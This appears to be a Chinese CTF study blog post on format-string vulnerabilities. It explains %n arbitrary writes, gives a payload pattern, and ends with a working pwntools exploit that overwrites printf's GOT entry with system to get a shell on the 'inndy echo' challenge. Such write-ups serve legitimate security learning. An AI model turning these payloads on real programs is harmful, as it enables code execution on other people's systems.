某大学社课(1):格式化字符串漏洞利用

最近pwn遇到瓶颈,考虑看一下某大学的社课系列,找一下感觉,顺便理一下思路之类的

写了三个小时博客,然后火狐崩溃了,我一直在博客园ctrl + s,但是最终一点东西都没了,真好

之前的不管了,今天白天再从任意地址写开始吧,悟以往之不谏,知来者之可追。
之前留存的几张截图


任意地址写

%n可以对任意地址写入值,写入的值是已经输出的字符数
输出为8

#include <stdio.h>

int main()
{
	int a;
	printf("aaaaaaaa%n\n",&a);
	printf("%d\n",a);
}

任意地址写的payload

<addr>%100c%10$n

(32位下)向格式化字符串的第十个参数写入104

利用方法

更为常见的利用方法:比如要改写一个地址,用%c$n的方式会输出大量的字符串,我们通常会选择%hn(写入short大小的整数)和%hhn(写入char大小的整数),然后分多次来写入
即,单次printf多次写入

注意:之后每次%xxc必须减去前一个写入byte的值,因为%n是总输出字符数

类似printf的函数

__stack_chk_fail Hijack的利用方法

BP chain技术:利用连续的call 改 bp从而达到在栈上某个位置写入的目的

inndy echo

把printf的got的内容改为system的plt即可

from pwn import *

local = 1

binary = "./echo"
libc_path = '../libc-2.23_32.so'
port = "27562"

if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",port)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

# arg location:7
# aaaa %p %p %p %p %p %p %p
libc = ELF(libc_path)
elf = ELF(binary)
printf_got = elf.got['printf']
system_plt = elf.plt['system']
print "[*] printf:",hex(printf_got)	#0x804a010
print "[*] system:",hex(system_plt) #0x8048400

payload = fmtstr_payload(7,{printf_got:system_plt})
print len(payload)
print payload
p.sendline(payload)

# gdb.attach(p)
p.interactive()
posted @ 2020-10-25 00:41  lemon想学二进制  阅读(142)  评论(0编辑  收藏  举报